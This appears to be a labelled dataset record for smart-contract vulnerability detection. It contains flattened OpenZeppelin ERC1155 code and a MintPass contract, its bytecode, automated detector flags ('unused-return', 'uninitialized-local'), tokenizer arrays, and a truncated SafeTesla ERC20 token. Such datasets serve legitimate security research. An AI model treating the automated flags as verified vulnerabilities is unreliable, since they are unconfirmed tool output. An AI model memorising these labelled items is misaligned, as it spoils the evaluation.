{IERC1155-isApprovedForAll}. */ function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return _operatorApprovals[account][operator]; } /** * @dev See {IERC1155-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: caller is not owner nor approved" ); _safeTransferFrom(from, to, id, amount, data); } /** * @dev See {IERC1155-safeBatchTransferFrom}. */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: transfer caller is not owner nor approved" ); _safeBatchTransferFrom(from, to, ids, amounts, data); } /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer( operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data ); uint256 fromBalance = _balances[id][from]; require( fromBalance >= amount, "ERC1155: insufficient balance for transfer" ); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require( ids.length == amounts.length, "ERC1155: ids and amounts length mismatch" ); require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require( fromBalance >= amount, "ERC1155: insufficient balance for transfer" ); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck( operator, from, to, ids, amounts, data ); } /** * @dev Sets a new URI for all token types, by relying on the token type ID * substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * By this mechanism, any occurrence of the `\{id\}` substring in either the * URI or any of the amounts in the JSON file at said URI will be replaced by * clients with the token type ID. * * For example, the `https://token-cdn-domain/\{id\}.json` URI would be * interpreted by clients as * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json` * for token type ID 0x4cce0. * * See {uri}. * * Because these URIs cannot be meaningfully represented by the {URI} event, * this function emits no events. */ function _setURI(string memory newuri) internal virtual { _uri = newuri; } /** * @dev Creates `amount` tokens of token type `id`, and assigns them to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _mint( address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer( operator, address(0), to, _asSingletonArray(id), _asSingletonArray(amount), data ); _balances[id][to] += amount; emit TransferSingle(operator, address(0), to, id, amount); _doSafeTransferAcceptanceCheck( operator, address(0), to, id, amount, data ); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); require( ids.length == amounts.length, "ERC1155: ids and amounts length mismatch" ); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); for (uint256 i = 0; i < ids.length; i++) { _balances[ids[i]][to] += amounts[i]; } emit TransferBatch(operator, address(0), to, ids, amounts); _doSafeBatchTransferAcceptanceCheck( operator, address(0), to, ids, amounts, data ); } /** * @dev Destroys `amount` tokens of token type `id` from `from` * * Requirements: * * - `from` cannot be the zero address. * - `from` must have at least `amount` tokens of token type `id`. */ function _burn( address from, uint256 id, uint256 amount ) internal virtual { require(from != address(0), "ERC1155: burn from the zero address"); address operator = _msgSender(); _beforeTokenTransfer( operator, from, address(0), _asSingletonArray(id), _asSingletonArray(amount), "" ); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][from] = fromBalance - amount; } emit TransferSingle(operator, from, address(0), id, amount); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}. * * Requirements: * * - `ids` and `amounts` must have the same length. */ function _burnBatch( address from, uint256[] memory ids, uint256[] memory amounts ) internal virtual { require(from != address(0), "ERC1155: burn from the zero address"); require( ids.length == amounts.length, "ERC1155: ids and amounts length mismatch" ); address operator = _msgSender(); _beforeTokenTransfer(operator, from, address(0), ids, amounts, ""); for (uint256 i = 0; i < ids.length; i++) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require( fromBalance >= amount, "ERC1155: burn amount exceeds balance" ); unchecked { _balances[id][from] = fromBalance - amount; } } emit TransferBatch(operator, from, address(0), ids, amounts); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC1155: setting approval status for self"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the `id` and `amount` arrays will be 1. * * Calling conditions (for each `id` and `amount` pair): * * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens * of token type `id` will be transferred to `to`. * - When `from` is zero, `amount` tokens of token type `id` will be minted * for `to`. * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` * will be burned. * - `from` and `to` are never both zero. * - `ids` and `amounts` have the same, non-zero length. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual {} function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155Received( operator, from, id, amount, data ) returns (bytes4 response) { if (response != IERC1155Receiver.onERC1155Received.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155BatchReceived( operator, from, ids, amounts, data ) returns (bytes4 response) { if ( response != IERC1155Receiver.onERC1155BatchReceived.selector ) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } } // File @openzeppelin/contracts/access/Ownable.sol@v4.4.1 // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File @openzeppelin/contracts/token/ERC1155/extensions/ERC1155Burnable.sol@v4.4.1 // OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/ERC1155Burnable.sol) pragma solidity ^0.8.0; /** * @dev Extension of {ERC1155} that allows token holders to destroy both their * own tokens and those that they have been approved to use. * * _Available since v3.1._ */ abstract contract ERC1155Burnable is ERC1155 { function burn( address account, uint256 id, uint256 value ) public virtual { require( account == _msgSender() || isApprovedForAll(account, _msgSender()), "ERC1155: caller is not owner nor approved" ); _burn(account, id, value); } function burnBatch( address account, uint256[] memory ids, uint256[] memory values ) public virtual { require( account == _msgSender() || isApprovedForAll(account, _msgSender()), "ERC1155: caller is not owner nor approved" ); _burnBatch(account, ids, values); } } // File contracts/MintPass.sol pragma solidity ^0.8.0; abstract contract AbstractChillRxToken { function airdropTokenExchange(address _receiver, uint256 _passid) public virtual returns (uint256); } contract MintPass is ERC1155, Ownable, ERC1155Burnable { address private chillrxContractAddress; uint256 public totalMinted = 0; bool public isMintPassExchangeEnabled = false; constructor() ERC1155("ipfs://QmPMYX85sbD3DANC5hQHpgSoY8chnWLSYA6M5MQVJDcNHd") {} function setChillRxContract(address _address) external onlyOwner { chillrxContractAddress = _address; } function toggleIsMintPassExchangeEnabled() external onlyOwner { isMintPassExchangeEnabled = !isMintPassExchangeEnabled; } function airdropPass(address[] calldata _receivers) external onlyOwner { for (uint256 i = 0; i < _receivers.length; i++) { totalMinted++; _mint(_receivers[i], totalMinted, 1, ""); } } function exchangeToken(uint256 id) external returns (uint256) { //Condition require( isMintPassExchangeEnabled == true, "Token Exchange has not started yet" ); require(balanceOf(msg.sender, id) > 0, "Caller is not the token owner"); //Effects burn(msg.sender, id, 1); //Interaction AbstractChillRxToken chillrxContract = AbstractChillRxToken( chillrxContractAddress ); uint256 mintedId = chillrxContract.airdropTokenExchange(msg.sender, id); return mintedId; } function getFirstOwnedToken(address _address) external view returns (uint256 ownerToken) { for (uint256 passId = 1; passId <= totalMinted; passId++) { if (balanceOf(_address, passId) > 0) { return passId; } } return 0; } }
0x608060405234801561001057600080fd5b506004361061012b5760003560e01c806392a1b40b116100ad578063e985e9c511610071578063e985e9c514610279578063ea4bb53d146102b5578063f242432a146102bd578063f2fde38b146102d0578063f5298aca146102e357600080fd5b806392a1b40b14610224578063a22cb46514610237578063a2309ff81461024a578063a7801bb814610253578063b816402a1461026657600080fd5b80634e1273f4116100f45780634e1273f4146101bb5780636b20c454146101db578063715018a6146101ee5780638da5cb5b146101f65780638f78c3111461021157600080fd5b8062fdd58e1461013057806301ffc9a7146101565780630e89341c146101795780631609078d146101995780632eb2c2d6146101a6575b600080fd5b61014361013e36600461148e565b6102f6565b6040519081526020015b60405180910390f35b6101696101643660046114ce565b61038d565b604051901515815260200161014d565b61018c6101873660046114f2565b6103df565b60405161014d9190611558565b6006546101699060ff1681565b6101b96101b43660046116b7565b610473565b005b6101ce6101c9366004611761565b61050a565b60405161014d9190611867565b6101b96101e936600461187a565b610634565b6101b961067c565b6003546040516001600160a01b03909116815260200161014d565b61014361021f3660046114f2565b6106b2565b6101b96102323660046118ee565b6107ff565b6101b9610245366004611963565b61089f565b61014360055481565b6101b961026136600461199f565b6108ae565b61014361027436600461199f565b6108fa565b6101696102873660046119ba565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205460ff1690565b6101b961093b565b6101b96102cb3660046119ed565b610979565b6101b96102de36600461199f565b6109be565b6101b96102f1366004611a52565b610a59565b60006001600160a01b0383166103675760405162461bcd60e51b815260206004820152602b60248201527f455243313135353a2062616c616e636520717565727920666f7220746865207a60448201526a65726f206164647265737360a81b60648201526084015b60405180910390fd5b506000908152602081815260408083206001600160a01b03949094168352929052205490565b60006001600160e01b03198216636cdb3d1360e11b14806103be57506001600160e01b031982166303a24d0760e21b145b806103d957506301ffc9a760e01b6001600160e01b03198316145b92915050565b6060600280546103ee90611a85565b80601f016020809104026020016040519081016040528092919081815260200182805461041a90611a85565b80156104675780601f1061043c57610100808354040283529160200191610467565b820191906000526020600020905b81548152906001019060200180831161044a57829003601f168201915b50505050509050919050565b6001600160a01b03851633148061048f575061048f8533610287565b6104f65760405162461bcd60e51b815260206004820152603260248201527f455243313135353a207472616e736665722063616c6c6572206973206e6f74206044820152711bdddb995c881b9bdc88185c1c1c9bdd995960721b606482015260840161035e565b6105038585858585610a9c565b5050505050565b6060815183511461056f5760405162461bcd60e51b815260206004820152602960248201527f455243313135353a206163636f756e747320616e6420696473206c656e677468604482015268040dad2e6dac2e8c6d60bb1b606482015260840161035e565b6000835167ffffffffffffffff81111561058b5761058b61156b565b6040519080825280602002602001820160405280156105b4578160200160208202803683370190505b50905060005b845181101561062c576105ff8582815181106105d8576105d8611ac0565b60200260200101518583815181106105f2576105f2611ac0565b60200260200101516102f6565b82828151811061061157610611611ac0565b602090810291909101015261062581611aec565b90506105ba565b509392505050565b6001600160a01b03831633148061065057506106508333610287565b61066c5760405162461bcd60e51b815260040161035e90611b07565b610677838383610c38565b505050565b6003546001600160a01b031633146106a65760405162461bcd60e51b815260040161035e90611b50565b6106b06000610db4565b565b60065460009060ff1615156001146107175760405162461bcd60e51b815260206004820152602260248201527f546f6b656e2045786368616e676520686173206e6f7420737461727465642079604482015261195d60f21b606482015260840161035e565b600061072333846102f6565b116107705760405162461bcd60e51b815260206004820152601d60248201527f43616c6c6572206973206e6f742074686520746f6b656e206f776e6572000000604482015260640161035e565b61077c33836001610a59565b6004805460405163d38dc15560e01b81523392810192909252602482018490526001600160a01b031690600090829063d38dc155906044016020604051808303816000875af11580156107d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f79190611b85565b949350505050565b6003546001600160a01b031633146108295760405162461bcd60e51b815260040161035e90611b50565b60005b81811015610677576005805490600061084483611aec565b919050555061088d83838381811061085e5761085e611ac0565b9050602002016020810190610873919061199f565b600554600160405180602001604052806000815250610e06565b8061089781611aec565b91505061082c565b6108aa338383610f10565b5050565b6003546001600160a01b031633146108d85760405162461bcd60e51b815260040161035e90611b50565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b600060015b600554811161093257600061091484836102f6565b11156109205792915050565b8061092a81611aec565b9150506108ff565b50600092915050565b6003546001600160a01b031633146109655760405162461bcd60e51b815260040161035e90611b50565b6006805460ff19811660ff90911615179055565b6001600160a01b03851633148061099557506109958533610287565b6109b15760405162461bcd60e51b815260040161035e90611b07565b6105038585858585610ff1565b6003546001600160a01b031633146109e85760405162461bcd60e51b815260040161035e90611b50565b6001600160a01b038116610a4d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161035e565b610a5681610db4565b50565b6001600160a01b038316331480610a755750610a758333610287565b610a915760405162461bcd60e51b815260040161035e90611b07565b61067783838361110e565b8151835114610abd5760405162461bcd60e51b815260040161035e90611b9e565b6001600160a01b038416610ae35760405162461bcd60e51b815260040161035e90611be6565b3360005b8451811015610bca576000858281518110610b0457610b04611ac0565b602002602001015190506000858381518110610b2257610b22611ac0565b602090810291909101810151600084815280835260408082206001600160a01b038e168352909352919091205490915081811015610b725760405162461bcd60e51b815260040161035e90611c2b565b6000838152602081815260408083206001600160a01b038e8116855292528083208585039055908b16825281208054849290610baf908490611c75565b9250508190555050505080610bc390611aec565b9050610ae7565b50846001600160a01b0316866001600160a01b0316826001600160a01b03167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb8787604051610c1a929190611c8d565b60405180910390a4610c30818787878787611210565b505050505050565b6001600160a01b038316610c5e5760405162461bcd60e51b815260040161035e90611cbb565b8051825114610c7f5760405162461bcd60e51b815260040161035e90611b9e565b604080516020810190915260009081905233905b8351811015610d55576000848281518110610cb057610cb0611ac0565b602002602001015190506000848381518110610cce57610cce611ac0565b602090810291909101810151600084815280835260408082206001600160a01b038c168352909352919091205490915081811015610d1e5760405162461bcd60e51b815260040161035e90611cfe565b6000928352602083815260408085206001600160a01b038b1686529091529092209103905580610d4d81611aec565b915050610c93565b5060006001600160a01b0316846001600160a01b0316826001600160a01b03167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb8686604051610da6929190611c8d565b60405180910390a450505050565b600380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038416610e665760405162461bcd60e51b815260206004820152602160248201527f455243313135353a206d696e7420746f20746865207a65726f206164647265736044820152607360f81b606482015260840161035e565b33610e8081600087610e778861136c565b6105038861136c565b6000848152602081815260408083206001600160a01b038916845290915281208054859290610eb0908490611c75565b909155505060408051858152602081018590526001600160a01b0380881692600092918516917fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62910160405180910390a4610503816000878787876113b7565b816001600160a01b0316836001600160a01b03161415610f845760405162461bcd60e51b815260206004820152602960248201527f455243313135353a2073657474696e6720617070726f76616c20737461747573604482015268103337b91039b2b63360b91b606482015260840161035e565b6001600160a01b03838116600081815260016020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b6001600160a01b0384166110175760405162461bcd60e51b815260040161035e90611be6565b33611027818787610e778861136c565b6000848152602081815260408083206001600160a01b038a168452909152902054838110156110685760405162461bcd60e51b815260040161035e90611c2b565b6000858152602081815260408083206001600160a01b038b81168552925280832087850390559088168252812080548692906110a5908490611c75565b909155505060408051868152602081018690526001600160a01b03808916928a821692918616917fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62910160405180910390a46111058288888888886113b7565b50505050505050565b6001600160a01b0383166111345760405162461bcd60e51b815260040161035e90611cbb565b33611164818560006111458761136c565b61114e8761136c565b5050604080516020810190915260009052505050565b6000838152602081815260408083206001600160a01b0388168452909152902054828110156111a55760405162461bcd60e51b815260040161035e90611cfe565b6000848152602081815260408083206001600160a01b03898116808652918452828520888703905582518981529384018890529092908616917fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62910160405180910390a45050505050565b6001600160a01b0384163b15610c305760405163bc197c8160e01b81526001600160a01b0385169063bc197c81906112549089908990889088908890600401611d42565b6020604051808303816000875af192505050801561128f575060408051601f3d908101601f1916820190925261128c91810190611da0565b60015b61133c5761129b611dbd565b806308c379a014156112d557506112b0611dd9565b806112bb57506112d7565b8060405162461bcd60e51b815260040161035e9190611558565b505b60405162461bcd60e51b815260206004820152603460248201527f455243313135353a207472616e7366657220746f206e6f6e20455243313135356044820152732932b1b2b4bb32b91034b6b83632b6b2b73a32b960611b606482015260840161035e565b6001600160e01b0319811663bc197c8160e01b146111055760405162461bcd60e51b815260040161035e90611e63565b604080516001808252818301909252606091600091906020808301908036833701905050905082816000815181106113a6576113a6611ac0565b602090810291909101015292915050565b6001600160a01b0384163b15610c305760405163f23a6e6160e01b81526001600160a01b0385169063f23a6e61906113fb9089908990889088908890600401611eab565b6020604051808303816000875af1925050508015611436575060408051601f3d908101601f1916820190925261143391810190611da0565b60015b6114425761129b611dbd565b6001600160e01b0319811663f23a6e6160e01b146111055760405162461bcd60e51b815260040161035e90611e63565b80356001600160a01b038116811461148957600080fd5b919050565b600080604083850312156114a157600080fd5b6114aa83611472565b946020939093013593505050565b6001600160e01b031981168114610a5657600080fd5b6000602082840312156114e057600080fd5b81356114eb816114b8565b9392505050565b60006020828403121561150457600080fd5b5035919050565b6000815180845260005b8181101561153157602081850181015186830182015201611515565b81811115611543576000602083870101525b50601f01601f19169290920160200192915050565b6020815260006114eb602083018461150b565b634e487b7160e01b600052604160045260246000fd5b601f8201601f1916810167ffffffffffffffff811182821017156115a7576115a761156b565b6040525050565b600067ffffffffffffffff8211156115c8576115c861156b565b5060051b60200190565b600082601f8301126115e357600080fd5b813560206115f0826115ae565b6040516115fd8282611581565b83815260059390931b850182019282810191508684111561161d57600080fd5b8286015b848110156116385780358352918301918301611621565b509695505050505050565b600082601f83011261165457600080fd5b813567ffffffffffffffff81111561166e5761166e61156b565b604051611685601f8301601f191660200182611581565b81815284602083860101111561169a57600080fd5b816020850160208301376000918101602001919091529392505050565b600080600080600060a086880312156116cf57600080fd5b6116d886611472565b94506116e660208701611472565b9350604086013567ffffffffffffffff8082111561170357600080fd5b61170f89838a016115d2565b9450606088013591508082111561172557600080fd5b61173189838a016115d2565b9350608088013591508082111561174757600080fd5b5061175488828901611643565b9150509295509295909350565b6000806040838503121561177457600080fd5b823567ffffffffffffffff8082111561178c57600080fd5b818501915085601f8301126117a057600080fd5b813560206117ad826115ae565b6040516117ba8282611581565b83815260059390931b85018201928281019150898411156117da57600080fd5b948201945b838610156117ff576117f086611472565b825294820194908201906117df565b9650508601359250508082111561181557600080fd5b50611822858286016115d2565b9150509250929050565b600081518084526020808501945080840160005b8381101561185c57815187529582019590820190600101611840565b509495945050505050565b6020815260006114eb602083018461182c565b60008060006060848603121561188f57600080fd5b61189884611472565b9250602084013567ffffffffffffffff808211156118b557600080fd5b6118c1878388016115d2565b935060408601359150808211156118d757600080fd5b506118e4868287016115d2565b9150509250925092565b6000806020838503121561190157600080fd5b823567ffffffffffffffff8082111561191957600080fd5b818501915085601f83011261192d57600080fd5b81358181111561193c57600080fd5b8660208260051b850101111561195157600080fd5b60209290920196919550909350505050565b6000806040838503121561197657600080fd5b61197f83611472565b91506020830135801515811461199457600080fd5b809150509250929050565b6000602082840312156119b157600080fd5b6114eb82611472565b600080604083850312156119cd57600080fd5b6119d683611472565b91506119e460208401611472565b90509250929050565b600080600080600060a08688031215611a0557600080fd5b611a0e86611472565b9450611a1c60208701611472565b93506040860135925060608601359150608086013567ffffffffffffffff811115611a4657600080fd5b61175488828901611643565b600080600060608486031215611a6757600080fd5b611a7084611472565b95602085013595506040909401359392505050565b600181811c90821680611a9957607f821691505b60208210811415611aba57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611b0057611b00611ad6565b5060010190565b60208082526029908201527f455243313135353a2063616c6c6572206973206e6f74206f776e6572206e6f7260408201526808185c1c1c9bdd995960ba1b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611b9757600080fd5b5051919050565b60208082526028908201527f455243313135353a2069647320616e6420616d6f756e7473206c656e677468206040820152670dad2e6dac2e8c6d60c31b606082015260800190565b60208082526025908201527f455243313135353a207472616e7366657220746f20746865207a65726f206164604082015264647265737360d81b606082015260800190565b6020808252602a908201527f455243313135353a20696e73756666696369656e742062616c616e636520666f60408201526939103a3930b739b332b960b11b606082015260800190565b60008219821115611c8857611c88611ad6565b500190565b604081526000611ca0604083018561182c565b8281036020840152611cb2818561182c565b95945050505050565b60208082526023908201527f455243313135353a206275726e2066726f6d20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526024908201527f455243313135353a206275726e20616d6f756e7420657863656564732062616c604082015263616e636560e01b606082015260800190565b6001600160a01b0386811682528516602082015260a060408201819052600090611d6e9083018661182c565b8281036060840152611d80818661182c565b90508281036080840152611d94818561150b565b98975050505050505050565b600060208284031215611db257600080fd5b81516114eb816114b8565b600060033d1115611dd65760046000803e5060005160e01c5b90565b600060443d1015611de75790565b6040516003193d81016004833e81513d67ffffffffffffffff8160248401118184111715611e1757505050505090565b8285019150815181811115611e2f5750505050505090565b843d8701016020828501011115611e495750505050505090565b611e5860208286010187611581565b509095945050505050565b60208082526028908201527f455243313135353a204552433131353552656365697665722072656a656374656040820152676420746f6b656e7360c01b606082015260800190565b6001600160a01b03868116825285166020820152604081018490526060810183905260a060808201819052600090611ee59083018461150b565b97965050505050505056fea2646970667358221220f9c20169a256d8bc0a470c275dd300a7ea3b02a352506349ec90b37eab1a8daf64736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2063, 2581, 17134, 17914, 2050, 19481, 2094, 24096, 2683, 22025, 2475, 2063, 22932, 2581, 2683, 11057, 4783, 2487, 4246, 22203, 19841, 22907, 2629, 2278, 27814, 1013, 1013, 4216, 16379, 2007, 2524, 12707, 1058, 2475, 1012, 1022, 1012, 1015, 16770, 1024, 1013, 1013, 2524, 12707, 1012, 8917, 1013, 1013, 5371, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 17174, 13102, 18491, 1013, 29464, 11890, 16048, 2629, 1012, 14017, 1030, 1058, 2549, 1012, 1018, 1012, 1015, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 2330, 4371, 27877, 2378, 8311, 1058, 2549, 1012, 1018, 1012, 1015, 1006, 21183, 12146, 1013, 17174, 13102, 18491, 1013, 29464, 11890, 16048, 2629, 1012, 14017, 1007, 10975, 8490, 2863, 5024, 3012, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,507
0x96e797f7fde9ca788b599ddd7045f8f89f2c217a
pragma solidity ^0.5.0; // // ___ __ _____ _ // / __| __ _ / _| ___ |_ _| ___ ___ | | __ _ // \__ \ / _` | | _| / -_) | | / -_) (_-< | | / _` | // |___/ \__,_| _|_|_ \___| _|_|_ \___| /__/_ _|_|_ \__,_| // _|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_|"""""| // "`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-' // //---------------------------------------- contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Safe Math Library // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract SafeTesla is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor() public { name = "SafeTesla"; symbol = "SAFETSLA"; decimals = 9; _totalSupply = 100000000000000000000; balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], 